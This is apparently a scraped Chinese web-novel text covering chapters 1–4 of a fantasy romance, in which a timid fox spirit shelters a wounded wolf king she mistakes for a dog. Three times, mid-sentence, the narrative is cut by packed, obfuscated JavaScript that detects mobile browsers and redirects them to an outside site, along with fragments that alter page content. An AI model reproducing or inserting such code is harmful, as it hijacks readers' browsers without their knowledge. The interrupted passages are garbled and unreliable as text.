《被宿敌夫君摸到狐狸尾巴》 1. 第 1 章 胡淼淼曾经养过一只狗。 死了。 现在又养了一只狗。 又要死了。 狐族都说狐狸和狼是死对头,却没说狐狸克狗。 她忧愁地把剩下的一块粗粮饼子塞狗嘴里,看见它紧闭双目,倔强不肯吃东西的模样,急得团团转。 忽而,她耳朵尖儿动了动,听见洞口外传来一阵脚步声,下意识摸摸屁股,确定藏好了狐狸尾巴,才满怀警惕地走出去。 来者是一个十六七岁的人类少年,他手里捧着两个馒头,羞涩地挠了挠脸,偷瞄眼前的女子,语气紧张:“胡……胡姑娘,这是阿娘让我给你送的,天气冷了,也不好总找果子吃,你……你吃个吧。” 不怪他这么腼腆,胡姑娘是半个月前来到日落村,在此之前,周舟就见过如此漂亮的姑娘。 他读书少不知怎么形容,他觉得胡姑娘就像是才山中精怪,美得不可方物,绝美的容颜配上那微微上扬的狐狸眼,纯情又魅惑,多看一眼都觉得是对她的亵渎。 周舟手忙脚乱地把馒头塞她手里,“你趁热吃,阿娘还说,等天冷了就弄一间房子吧,俺们村的人都帮忙,你总住在山洞里也不是办法。” 是的,从逃离狐族到现在,胡淼淼为了躲避狐族的追杀,一直藏在人间的山洞里苟活,更别提她向来胆子就小,修为又弱,勉强修得人形所有精力都用来藏狐狸尾巴了,所以混得有些凄惨,穿得破破烂烂,住的也很简陋,等冬天一到,冰雪覆盖整座山,她怕是要搬家了。 山下的村民很热情,时常送些吃食救济她,可胡淼淼不爱和人类打交道,她不喜欢人类的眼神,会让她想到一些不好的回忆。 亦如此时的少年,看着她的目光,和她姐夫的眼神一模一样,很炽热,烫得她别开了脸,卷翘的睫毛垂落,小声道了几声谢。 她知道,就算不收他的食物,对方也会想方设法放着山洞门口,与其浪费食物,倒不如想想怎么喂洞里的那只倔狗。 至于山下的村民,他们帮了她,她也不是吃闲饭的,闲来没事除了寻找食物,就去山下巡逻,看看有没有什么乱七八糟鸡零狗碎的小忙,今天张大妈的衣服坏了帮忙补补,明天杨大爷家的鸡被野狐狸吃了,她去教训狐狸。 虽然最后,被一只没成精的野狐狸求爱了,吓得她落荒而逃……不过那只野狐狸再也没欺负杨大爷家的鸡。 那些往事不堪回首,这些雄性真放荡,一点都不检点。 幸亏家里捡的那只狗天天对她冷脸,让她稍微舒服一些。 看看,都是雄性,怎么人家狗子那么正经呢? “不用谢……我,我先走了。” 少年的脸色又红了几分,忽然感觉到了什么,表情慌乱地说了几句跑开。 她郁闷地揣着馒头回去,刚走两步,就见床边半死不活的死狗不知何时睁开了狗眼,锐利森冷地死亡凝视她。 这只狗是她刚来人界的时候在山上捡来的,那时候它倒在血泊之中,浑身上下都是伤口,尾巴毛都秃了,像是和其他小动物掐架被拔了毛,胡淼淼像是看见了幼时的自己。 狐族喜火,每一只诞生的狐狸与生俱来带有狐火,唯有胡淼淼,是水属性。 狐狸们认为她会给狐族带来灾难,连父母都不要她了,随便取个名字丢深山里自生自灭。 其实这也不算什么,可同龄的狐狸总是因为她的毛发颜色不同,薅她的毛毛、咬她、打她。 她试图反抗,却被那群狐狸崽子告诉了父母,没有父母庇佑的她只能被动挨打,成年过后挨打的次数少了,从明面上的欺负改为背地里欺负。 之所以被狐族追杀是因为她名义上的姐姐,要和其他族群的狐族成婚了。 那只公狐狸骚扰她的时候,恰巧被姐姐看见,他们不分青红皂白诬陷她勾引姐夫,驱逐出狐族。 后来又派狐狸杀她,为了活命,她只能在凡间过着躲躲藏藏的日子,虽然人界有什么捉妖师,但只要夹起尾巴做狐,不动用妖力,就不会被捉妖师发现。 故而,当初遇见重伤的掉毛狗,胡淼淼产生了怜香惜狗之情,把狗拖回了狐狸洞。 这狗脾气不好,刚醒来的时候还想咬她,被她用稻草塞了一嘴老实了。 之后似乎怕了她,每次都只动眼凶她,不动嘴,养了半个多月,对方基本上不会再凶她了,只有在旁人送食物的时候,才会露出凶巴巴的眼神。 那眼神,让胡淼淼既害怕又欣慰,至少这只狗不会对她产生那种歪心思,她最讨厌那些臭雄性的恶心眼神了。 “醒了就吃饭!有些凉了,不过还没硬。” 胡淼淼蹲在狗身前,熟练地掰了一块馒头,“嘬嘬嘬~好狗,来张嘴。” 原本是一匹凶悍的狼,到胡淼淼这里变成狗的君泽琛:“……” 他嗅着吃食上有别的雄性气息,鼻腔发出一阵警告的声音。 胡淼淼无视他发出的逼动静,纤细的手指捏住狗嘴,一掰,再一塞,攥住嘴筒子,顺手摇晃了两下,试图把他犟种的脑浆摇匀。 君泽琛:“……” 如若不是刚重生回来,身体被狐族暗算受了重伤,他怎会如此? 他犹记得刚醒来那会儿,他神魂刚归位,没搞清楚状况,眼前这个女人塞了他一嘴稻草,稻不稻草无所谓,关键她还顺手把手指塞他嘴里了。 妖王这一生见过的美人无数,却从未被女人近身过,叼着女人柔软的指尖愣了许久,一时之间忘了反应,就这样半推半就的任由女人胡作非为,以至于不知怎么给了她莫大的勇气,整日对他指手画脚外加动手动脚! 狼落平阳被人欺!臭女人,你给本王记着! 狗子是黑色的,毛发冷硬和刺猬似的,体型很庞大,每次被它凝视,胡淼淼都锋芒在背,虽然害怕,但要的就是这种感觉! 她奖励地摸了摸狗炸毛的耳朵,清丽的眉眼弯了弯,“乖乖吃饭,我知道你不喜吃嗟来之食,可是没办法,咱们就这条件,你要快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031701|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点好起来,等你成为一只成熟的狗,就可以自己养自己了,到时候记得孝敬我呀!” 她不笑的时候眼尾上扬,透着一股矛盾的魅惑,笑的时候眉眼弯弯,模样憨态可掬,落在君泽琛就是透着一股子傻气 他嗤之以鼻,伸狼爪子把她扒开,用行动表明自己根本不受美人计的蛊惑。 他活了两辈子,狐族忌惮他,狼族敬畏他,还从没见过这么弱小的人类,竟然妄想他孝敬她? 狗子懒得说话,胡淼淼能从中感知到不满,她不以为然,这狗就这样。 当初刚见到第一眼的时候还以为是狼,吓得她差点变成原形脚底抹油逃跑,可转念一想,狼的尾巴是自然垂落的,在她面前,这只狗一直翘尾巴,不是狗是什么? 等狗子吃完,她上手扒了扒拉他尾巴,在他不满的视线下点了点头,“刚才看你奄奄一息的还以为不行了,这不挺好的吗,好好养伤,等你好了就可以自己去觅食了。” 胡淼淼并不知道,君泽琛好的只是外伤,内里的伤势还有很多,妖丹上斑斑裂痕,妖力在体内筋脉肆虐,需要每日忍受筋脉的折磨,来修复妖丹。想要养好并非容易之事。 -- 狼,是一个领域意识非常强的一种物种。 狼在屋檐下,勉为其难和胡淼淼在一个山洞里过日子,不过,一连几日,那个叫做周什么东西的人类男子总是来献殷勤。 只不过在这之前,周舟都在山洞门口,不曾踏入半步,然而这一日,周舟竟然跟胡淼淼进来了,狼就如同吃了炮仗,炸着毛激情开麦了,嗷呜的一声,惊了三个生物。 周舟颤巍巍:“你家的狗……怎么像狼叫?” 胡淼淼也颤颤巍巍,“这……狗都这么叫的吧?” 往日,她每次回家注意力都会专注在他身上,也和周舟保持着礼貌的距离,这一次,她却躲在了周舟身后探头,脸色煞白,吓得不轻。 君泽琛不得不正视一个严重的问题,那就是,胡淼淼这女人真的狼狗不分! 而且她似乎很怕狼! 君泽琛狼爪紧刨地面,迟疑了几秒,不甘心地低下头,凑喉间挤出一个字:“汪!” 然后,狼躯轰然倒地。 “好狗!” 胡淼淼惊了,顾不得方才的那声狼叫,呼唤着他最讨厌的“爱称”,来到他身边,抱住了他。 没错,好狗是她给他取的名字。 刚开始这般叫他的时候,他以为她在骂他,后来才知道,她是真心觉得他是一只好狗。 独属于她的幽香丝丝缕缕窜入鼻尖,狼的嗅觉灵敏,就像是有一大捧花塞到了他的鼻子里,齁甜,却不会腻。 他只是僵硬了一下,便将脑袋搭在她的臂弯里,在她看不见的角度,冷漠地睥睨胡淼淼身后渺小的人类,悄悄呲了呲牙。 周舟惊悚万分,这狗不对劲儿! 一种毛骨悚然的寒意,从脚底板升起,他指着狗,“胡姑娘,你家狗有两副面孔。” 2. 第 2 章 胡淼淼回头。 狗耷拉下耳朵,毛脸疲惫。 胡淼淼拍了拍狗头,“没有啊。” 然而,在她重新抱住狗,狗在胡淼淼怀里,下巴压住胡淼淼肩膀,向后冷冷睥睨周舟。 周舟大声:“胡姑娘你看它!” 胡淼淼把狗从怀里扒拉出来低头看一眼。 狗恹恹地掀了掀眼皮,懒得搭理他们的样子。 胡淼淼无奈:“周大哥,你是不是哪里不舒服,产生幻觉了?” 狗怎么可能有两幅面孔呢? 周舟背脊凉飕飕的,迟疑:“有吗?” 明明就是狗的问题! 但胡淼淼坚信,她的狗没问题,肯定是周舟没休息好。 以至于周舟已经怀疑自己了。 “那我帮你搬完家,就回去休息。” 话音刚落,胡淼淼怀里的狗垂死病中惊坐起,咻地一下抬起脑袋,一爪子按住胡淼淼的手臂,仰头死亡凝视,似乎在质问,为什么要搬家。 胡淼淼诡异地看懂它的意思了,她脸颊恢复些许血色,掌心摸了摸他毛绒绒的耳朵,“天冷了,在山洞里不是长久之计,而且听说最近山上闹妖怪,我害怕……” 胡淼淼是妖,可妖怪也有强弱,更何况她害怕山里的妖是狐族派来杀她的。 被狐族逮住,只有死路一条。 纵然生活无趣,胡淼淼依旧不想死。 她没有太大出息,更不奢求自己有朝一日杀回狐族,只求能在人间安稳地活着。 法则有规定,除了那群邪魔外道的精怪,正经修炼成仙的精怪都不得干涉凡人,所以她要去村庄里面躲一躲,如果山中的妖是族中狐妖,就不会去村里搜找。 原来的是闹妖怪,君泽琛还当是什么呢,他也是妖,就算身负重伤,那些杂七杂八的小妖怪也别想在他眼皮子底下伤人。 搭在臂弯上的狼爪蜷缩了一下,用肉垫拍了拍她的手臂。 胡淼淼美眸不可思议地瞪大,“好狗?你是在安慰我吗?” 要知道,从捡到好狗以来,好狗一直对她爱答不理冷脸相对,这是胡淼淼第一次从好狗身上感知到一丝温度。 它确实是一条好狗,不是白眼狼。 胡淼淼刚才受到惊吓的心跳恢复正常,上挑的眼尾弯了弯,眸色清纯认真,“你真好!” 直把君泽琛夸得不自在地埋下狼头。 他这些日子一直盘算修复妖丹就离开这里,更没有把胡淼淼放在心上,她的夸赞,让他仅存不多的良心隐隐作痛。 嗅着她的气息,毛绒绒的浮毛下的耳朵泛红,作为一只优秀的狼妖,他从未感知到这种情绪波动,不免有些新奇,两只爪子别扭地交叠在一起,耳朵抖了抖,犹如两片钢铁打磨成三角尖尖的装饰品,努力让自己看起来很正常。 偏偏,这个时候,有一个男性人类不怕死地打扰了这种古怪和平的氛围。 “胡姑娘,天色快黑了,我们尽早下山吧,这狗凶是凶了一点,不过如果拴上绳子是可以带进村的,我家就养了一个看门狗,你一个姑娘家养这个正好防身,今后有什么风吹草动,它一叫,我们就听见了。” “嗷呜……汪?!”刚消停几秒的狗再次炸毛,眨眼间耳朵竖成钢铁的耳朵就炸成了蒲公英,隔着毛脸都能察觉到他的敌意。 胡淼淼连忙安抚它,“你今天怎么了?” 怎么了?臭女人还有脸问! 你带回来的相好的,都要把本王当狗拴了! 跺一跺脚妖界都要抖三抖的狼王,从未受过这种委屈,忍不了一点! 君泽琛凌厉的狼瞳里仿若有小火焰在燃烧,咄咄逼人地汪汪两句,用的是胡乱捏造的狗语骂的很脏,一人一狐听不懂,他自己也听不懂。 却不难听出他在发火。 胡淼淼从没见过好狗发这么大的火,慌乱地将他抱紧,掌心疯狂拍他的脑门,“别生气,你如果不想进村子,我们在想想办法好吗?” “可是……胡姑娘,山里指不定什么时候就会有妖怪冒出来,这只狗并不能从妖族手底下保护你……”周舟努力劝说,“人命到底比狗命重要,你可以先让它在山洞里待着,过两日再说。” 周舟是有私心的。 他不喜欢狗,每次想和胡淼淼亲近的时候,这只狗都会从中作梗,他竟然能从狗的身上感知到敌意,是针对他的。 所以,他想让胡淼淼放弃狗,和他去村里生活,谁知胡淼淼不悦地蹙紧了眉头,“我不会抛下它,先缓缓,这件事过两天再说吧。” 她听出了周舟的言下之意。 或许在人类的角度 ,好狗是一个随时可抛弃的畜生。 可对她来说,并不是。 周舟看出了胡淼淼的不高兴,连忙道歉,让她尽快,不能再拖了,见胡淼淼不待见自己,三步一回头离开了。 等他走后,胡淼淼试图和狗子讲道理,谁知狗子当人一套,背着人又是一套,山洞里只有他们两个,它干脆一扭头,给了她一个后脑勺拒绝交流。 胡淼淼一张美人面上愁容不展,一时之间拿它没办法。 终于,又过了几天,山里下了第一场雪,冷冽的寒风扑簌簌吹进洞里,哪怕胡淼淼用枯枝烂叶把洞穴堵上,依旧很冷。 按理来说,身为妖族,还是有皮毛的狐狸,不应该怕冷才是,可是胡淼淼和其他狐族不一样,妖力弱得要命,体力也和凡人似的,夜里冷得实在不行了,她从床上爬下来,用足尖踢了踢床边的狗。 脚下一片毛茸茸,她的声若蚊蚋,“好狗,我冷……” 和胡淼淼的怕冷不同,君泽琛虽然受伤了,体温却和火炉一样,毛发顺滑,脚尖陷入皮毛后,暖乎乎的。 还不够…… 她说:“你既不跟我去村里住,总不能看着我冻死吧?” 本欲挪开狼臀的君泽琛:“……” 他麻木着狼脸,仰头冷冷看她,从鼻腔呼出热气,用行动拒绝。 搭伙过日子这么久,胡淼淼因为雄性给她的困扰,对这只公狗从未太亲密过,顶多是在它发脾气的时候抱抱,就撒手了,晚上睡觉给它搭个狗窝互不干扰。 她第一次求它,结果…… 被嫌弃了吗? 冷风如同刺骨的刀刃,无情地刮过身躯,浑身的肉都冻得发疼,牙齿忍不住打颤,人在脆弱之时都会心娇,小狐狸原本以为自己从小到大没妖关心过,本不应该那么娇气才对。 可不知怎么,面对狗无情的冷脸,竟忍不住眼眶一红,撤回了腿,抱紧了自己缩回去。 细细的、压抑的低泣声,传递到君泽琛敏锐的耳朵里,他biu地竖起耳朵,双眼如炬,在夜里发出森绿的光,锁定床上的小鼓包。 他眸色幽深,传闻人类体弱,寿命极短,搞不好就会夭折。 君泽琛当年从狼群中脱颖而出成为狼王,手段铁血毒辣,冷心冷情,哪怕这个人类给他一个住处,善作主张瞎喂他,也不会让他有多少怜悯之心才对。 然而此时此刻,看见人类仅披着一张薄薄的破被,蜷缩成一团,委屈地在被子里偷偷哭,鬼使神差地,他站起身,狼腿一用力,跳上了床。 半个人高的一大坨沉甸甸一压。 被子里的小狐狸哭了一半,硬生生憋了回去,差点一口气没上来,小心翼翼探出脑袋,对上一对儿绿灯泡似的眼睛。 他很沉,她敢怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031702|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢言,在被子里努力蛄蛹,试图透透气,谁知被狼一爪子按回去。 黑色的狼王犹如一座小山,高高在上俯视着人类,收敛了爪尖,用肉垫拍了拍人类的肩膀,让她体验了一把狼王沉重的关照。 暖是暖了,就是……谁家好人把那么大的炉子压身上。 不出意外,胡淼淼第二天醒来,睁开酸涩的眼睛,在床上爬了半天才爬了起来,肩膀、手臂、后腰,都酸疼得要命,像是鬼压床了。 她揉了揉肩膀,忽而动作一顿,水润的眸子慌乱地扫视一圈,山洞静悄悄的,床下的狗窝也冷冷的,上面的两根掉落的狗毛格外萧瑟。 狗呢? 那么大的狗呢? 养了那么久,狗从没离开过山洞,不会是让他暖个床生气跑了吧? 胡淼淼慌乱地穿好衣服,鞋子都顾不得穿就往洞口跑,拨开杂乱的树枝,一阵冷风袭来,让她打了一个寒颤。 整整一个晚上,外面被皑皑白雪覆盖,山间的树木挂上了层层霜花,放眼望去,白茫茫一片,唯有东方,一个小黑点由远及近,转瞬到了她身前。 是一只黑狗,晃荡着翘起来的尾巴从容地靠近,嘴里叼了一个铁盆。 “你没走啊。”胡淼淼偷偷观察,隐约觉得,它似乎生气了。 正想着,突然膝盖弯一痛,被他用盆撞了一下 ,胡淼淼整个人都失去了平衡,下一秒天旋地转,身下是一片柔软的毛发,她惊魂未定地睁开一只眼睛,发现自己竟然坐在狗子的身上。 奇怪,怎么感觉狗长高了,也长壮了? 君泽琛驮着她来到床边,丢下盆,侧头看了她一眼。 胡淼淼讪讪地爬回床上,穿好鞋子,惊奇道:“你哪来的盆?叼盆做什么?” 君泽琛没有说话,很多时候,都是一匹成熟稳重的雄性。 学狗汪汪汪那种幼稚的事,非不得已,他才不会做。 给了人类一个警告不要外出的眼神,他一甩蓬松的尾巴,迈着优雅的步子出去了。 接下来的半天,狼王大人把狗的天性发挥到了极致。 胡淼淼坐在床头,托着腮,眼睁睁看好狗忙里忙外捡了一堆破烂,不知从哪捡来的木板堵住了东门口,再盖上一层大棉被,山洞顷刻间暖和了不少。 紧接着是那个破盆当锅,之前用来挡门的枯枝烂叶被当成柴火点燃了,它可能下水捞鱼了,最后一次回来叼着鱼,浑身湿漉漉的,抖了抖,冷傲地将鱼往破盆了一甩,胡淼淼懂了,吃了那么久的粗粮,狗子是想吃肉了。 锅碗瓢盆都被狗准备好了,接下来就由胡淼淼做饭了,狼在一旁抖毛烤火监督她别偷懒的模样,让胡淼淼有些好笑。 狐族没人管她,胡淼淼大多时候都是自力更生,处理鱼不在话下,利落地去鳞开膛破肚,好不好吃先另算,熟了就行。 等处理好一切,突然觉得锅有点碍眼,无视狗子不满的目光,把狗子的破盆挪开,干脆用树枝叉鱼烤。 洞口,烤鱼的香味越来越浓,许久没吃肉了,胡淼淼吞了吞口水,隐藏的狐狸尾巴蠢蠢欲动,还不等露出来摇晃,就闻到了一些其他味道…… 她嗅了嗅,顺着味道,找到了源头。 当下花容失色:“着了着了着了!” 什么? 火不着怎么烤鱼? 愚蠢的人类,喊什么喊。 懒洋洋烤火的狼王高贵冷傲地甩了一下尾巴,一道绚丽的火光顺着他的尾巴的弧度从眼前划过。 他:“?!!” “嗷呜——汪~!” 着了着了着了! 一声由狼转为狗的叫声划破天际,安逸的氛围被一阵狐飞狗跳打破。 3. 第 3 章 烤鱼变成烤狗这件事儿,成为了狼王一生的耻辱。 他很长一段时间都处于自闭的状态,整日生无可恋出去觅食,回来让胡淼淼帮忙弄熟,晚上到点就趴在床铺上暖床,床热乎了给胡淼淼睡,自己则趴在床边枕着爪子继续自闭。 胡淼淼开始怀疑,是不是一把火烧坏了狗的脑子。 这样的状态延迟很久,一场雪一场雪落下,有君泽琛出去觅食,寒冷的天气反倒没那么难熬了。 期间周舟来过几次劝她去山下的村子,还说什么请了捉妖师,就算山里有妖怪也不用担心妖怪会害人了。 原本胡淼淼是有去村子里的意愿的,结果一听捉妖师,差点被吓出狐狸尾巴。 她一个狐狸精去有捉妖师的地方,那不是找死吗? 她拒绝了周舟的提议,拒绝了几次,周舟也不再说什么了,在离开前说如果她改变主意或有什么需要帮忙的可以随时找他。 没有周舟,狗子的态度明显软化了,它像是转变成熟的狗子了,知道照顾狐了。 狐狸很感动,心里挂念狗子的好,也摸清了它的性格,嘴甜得不要命,反复夸狗能干。 君泽琛只是状似不经意地竖起耳朵听着,不置可否,默默养伤。 他虽然重生了,可前世的记忆并不完整,只知道自己是被狐族害死的,今生今世,一定不会重蹈覆辙,身上的伤很重,大概还需要几个月吧,于是狼王大人心安理得地跟“人类”住在同一屋檐下。 相处下来,他知道这个人类胆子很小,不敢和人类相处,怕妖怪也怕得要命,好像在躲避什么人,就连山洞外面有什么风吹草动,都惊慌失措地躲到被子里瑟瑟发抖。 为避免她吓死,狼妖勉为其难照顾一二,让她躲到怀里睡觉。 刚开始人类还不知好歹,和他保持距离,狼妖不爽了,爪子一按,成功拿捏小小人类。 胡淼淼:“……”这狗要造反! 天气刚稍微暖一些后,胡淼淼也跟着出去觅食了,一狐一狼一步一步踏在松软的雪地里,留下一道道脚印。 胡淼淼将捡来的枯木枝捆好,一回头,发现狗正仰头,对着一棵树狗视眈眈。 她顺着它的视线看去,便见树上有两只鸟儿依偎在树枝上,尚不知危险降临。 冬季即将过去,连鸟儿都回来了。 她蹲在狗身侧,揉了揉它的脑袋,在对方不爽的视线勾唇浅笑,“它们加起来也不够你一口吃的,算了。” 君泽琛嗤笑一声,晃了晃脑袋,将她的手摇开,不过也没再打那两只鸟的主意。 真是堕落的日子过久了,连两只小破鸟都能让他口水泛滥。 他仰头看了看天空,光秃秃的树不足以遮挡天幕散下来的阳光,光影覆盖在身上,竟隐隐有些温度。 春季要到了,他的伤只差妖丹需要修复。 等那时,就该离开了。 “再想什么,回家了,今天我想吃鱼,你去捞呗?” 玉润灵动的声音,从远处喊来。 君泽琛侧头,发现人类跑到远处,穿着厚厚的大氅,正对他招手。 那件衣服是他出门觅食的时候从一只雌性白虎身上剥下来的,怕吓到她,稍微动用术法稍作处理,掩盖了虎反的气息和原有的模样,在别人看来是一件破破的棉衣,在他看来,白绒绒的虎毛搭在她身上,衬托着她莹白如玉的笑脸,有着说不出的朝气。 呵,人类,鸟的命是命,鱼的命就不是命吗? 也不知她有多爱吃鱼,吃了一个冬天,都吃不够。 狼王大人一边嫌弃,一边迈着从容的步伐,扑腾一声破冰,跳入水中。 捞鱼! 胡淼淼弯了弯眼眸,看天色尚早,干脆坐在一旁石头上,生起了火,等君泽琛上来,给它烤毛毛。 自几个月前那场意外,君泽琛很讨厌火,哪怕上岸都躲远远的,被胡淼淼拽住了尾巴,“快烤烤,不然会生病的。” 狼的尾巴摸不得,正常在狼族,摸摸耳朵和尾巴等于求偶。 君泽琛扭头看了看她抓住自己尾巴的手,成熟的狼平日里很主动地揽下所有活,所以她只是偶尔帮他顺顺毛,做一些狼爪办不到的事儿,很少沾水,导致她被养得很好,手白白净净,细细嫩嫩的,显得他的毛都粗糙了几分。 他扯了扯嘴角,露出凶巴巴的犬齿发出警告声。 胡淼淼怕天怕地,似乎唯独不怕她捡来的这只狗,甚至还对狗笑眯眯道:“生病了我不管你,让你自生自灭~” 君泽琛嗤之以鼻,不过还是走到火堆旁,揣着狼爪,冷眼看她架起了鱼烤。 没一会儿,诱人的焦香味扑面而来,等狗毛干得差不多了,胡淼淼撕下来一块烤好的那块鱼肉,递到狗嘴边。 吃了一个冬天,君泽琛现在看见鱼肉都想吐,可他还是熟练地张嘴,麻木地咀嚼,偏偏,胡淼淼吃得津津有味,她吃一口,就给君泽琛吃一口,一狐一狗很快就将两条鱼吃完了,胡淼淼灭了火,和往常一样回家。 没错,是家,他们之间有了一个家,曾经简陋的近山洞被搭理得井井有条,冷硬的石床上铺上柔软的被褥,在角落里有一个圆圆的大团蒲,留给君泽琛当狗窝。 天暖了,某个女人用完就抛,不需要他暖床了,他自觉地爬回狗窝。 一狐一狼之间泾渭分明互不打扰地睡觉。 大概是应了胡淼淼之前那句玩笑,当天晚上狗竟然真的生病了,毛茸茸的耳朵无精打采地耷拉着,浑身每一根毛毛都蔫了吧唧,稍微一摸,便是滚烫,把胡淼淼急得团团转,连夜下山去找村里的人帮忙。 山中闹妖怪,大晚上的村里人热情,抄起家伙事儿,跟来四五个壮汉架着年过半百的兽医来到了胡淼淼的山洞。 兽医揉了揉睡迷糊的老眼,看见奄奄一息的狗子,掐指一算:“现在杀,还能吃上一口热乎的。” 胡淼淼:“……” 她眼睛刷地一下就红了。 兽医安慰:“等死透了肉质都不好吃。” 因为修复妖丹,结果做了一场梦,导致运错气,气血逆流刚恢复意识的君泽琛:“……” 眼看恢复人形,却临时差一脚的狼王睁开了眼睛,化疼痛为戾气,阴狠冷冽的眼神睥睨着在场的每一个人类,忽然,他视线停留在那张满是泪痕的脸上。 叫胡淼淼的这个人类既脆弱又胆小他是知道的。 可他从没想到,只是兽医的一两句话,就把人吓哭了。 他是狼妖,骨子里流的是狠厉的血,在幼崽时期,就已经在嗜血的环境中生存了。 死,就死了。 狼,从不会流泪,更不会有人为他们流泪。 同样的,狼族最讨厌弱小的生物,就比如妖界的那群狐狸精,实力不行,坏心眼子来凑,惯会蛊惑人心,一群欺软怕硬的东西,曾经被他踩在脚底下的狐狸,也是泪眼婆娑地求他放过,试图用卑劣的手段勾引他。 当初的他不屑,蠢货,哭是一种懦弱的行为,也会让敌人更加猖狂。 然而现在,人类低着头,用手背擦脸,眼泪如同断了线的珍珠滚落,小声的抽泣音和红红的眼睛,无不诉说着可怜,无声地牵引着他的情绪。 狼王不找自己的原因,认为是其他人类把胡淼淼惹哭的,暴躁地甩了甩尾巴,豁然起身。 谁都未料到刚公开死讯的“狗”会突然诈尸,众人被吓了一跳,连胡淼淼都忘了哭,睁大了红肿的眸子。 她来到人间,捡到这只狗,刚开始只是从它身上看见自己过去的影子,之后是真心实意把它当做家人。 它白日里好好的,晚上突然要死了,她怎会无动于衷?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031703|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见狗起身,胡淼淼的眼睛亮了亮,仿佛抓住了救命稻草,一把拽住了兽医,“他……好狗是不是病好了?” 兽医再次掐指一算:“回光返照!” 回应兽医的是狼王的爪子。 君泽琛脾气本来就不好,一听到兽医还在造谣,顿时火冒三丈,一人奖励一个狼爪大礼包,将人类们踹出他和胡淼淼的小窝。 胡淼淼懵在原地,傻傻地吸了吸鼻子,喃喃道:“没错,回光返照都这样……” 君泽琛:“……” 他忍了又忍,告诉自己,这个不踹都哭,踹了更得哭起来没完没了,不能踹,于是抽出毛茸茸的大尾巴,惩罚似的轻轻抽了她一下。 被她一手攥住,并用他的尾巴擦了一把眼泪,深呼吸:“热乎的。” “……”不然呢? “软的。” 君泽琛:“……” 他的妖丹又隐隐作痛。 百般确定好狗死不了后,胡淼淼对挨了狼爪子的人百般道歉,还要送他们下山,不过他们拒绝了。 毕竟让胡淼淼送他们下去,她回来的路上也可能遇见危险。 虽然兽医误诊了,但他们大晚上折腾来也是一片好心,胡淼淼过意不去,说过两日还会再次登门道歉。 不过这次乌龙事件狗子的病因没找到,随时可能还会生病,导致胡淼淼整个狐狸都如同惊弓之鸟,经常在夜里惊醒,摸摸小腿边儿的狗子,将它摇晃醒,确定它是活的,才松口气。 每每对上狗子谴责的眼神,都会伸手,用柔软的指腹捏住它的上下眼皮,手动合上。 “没事,起来重睡!” 妖族不需要睡觉,但好吃懒做一冬天的狼王大人稀里糊涂继续睡觉,睡着睡着,就垂死病中惊坐起。 他后知后觉。 不是,这女人有病吧? 君泽琛苍绿色的狼眸危险地眯了眯,挪到她枕边儿,快速伸出爪子,爪垫捂住她的鼻子。 一种强烈的窒息感袭来,胡淼淼刷地一下睁开眼睛,借着月色,恍恍惚惚看见了两颗绿火苗在夜里熊熊燃烧,她半梦半醒,稀里糊涂地一揽,将那东西抱紧,头一埋,陷入一片毛茸茸的美妙触感中。 -- 翌日清晨的阳光散落在洞外,隐约传递进来的光影照耀在脸上,有了春季即将到来的暖意,胡淼淼很久没睡过这么好的觉了,一醒来浑身都暖洋洋的。 她打了个哈气,目光扫视一圈,没有看见狗影,秀气的眉头一蹙,遥想起死狗支配的恐惧,赶紧下床寻找。 掀开遮住洞口厚重的帘子,强烈的光线让她忍不住眯了眯眼睛,等适应了阳光,入目的是一个破旧的狗盆。 盆子下面燃着火,火未灭,里面的东西还热乎的,水加上山鸡肉,勉强算是一盆鸡汤吧。 一旁还捆着几只野山鸡,羽毛是五彩斑斓的黑,红彤彤的冠子,一只只眼睛瞪得像铜铃,咕咕咕叫。 是鸡!! 要说狐狸最喜欢吃什么,那当然是鸡啊! 狐狸吃鸡,天经地义! 只不过,这些鸡是好狗从哪里抓来的? 正想着,熟悉的啊呜声由远及近,眨眼间就到了眼前。 健壮的狼迈着优雅从容的步伐,身后跟了一串瑟瑟发抖的野鸡,他来到胡淼淼身前,目光不经意地瞥一眼她的脚,确定穿鞋之后,没吭声,尾巴尖指了指他的狼盆,示意她可以吃饭了。 胡淼淼身为狐狸,却没吃过几次鸡,早就馋得不行了,她吞了吞口水,望着君泽琛的目光满是崇拜,“好狗,你怎么突然抓这么多鸡?” 幸福来的有点突然,她恨不得变回原形钻进鸡群里面打滚,随即咬一个幸运鸡! 君泽琛则高高扬起脑袋,一如既往的冷傲,只不过那双狭长的眼眸里,情绪要比往日复杂。 4. 第 4 章 两个人同居,不是没有一起抱过,曾经无数个日夜,都是君泽琛冷着脸给胡淼淼暖床的。 可是昨日不知怎么,就变了味。 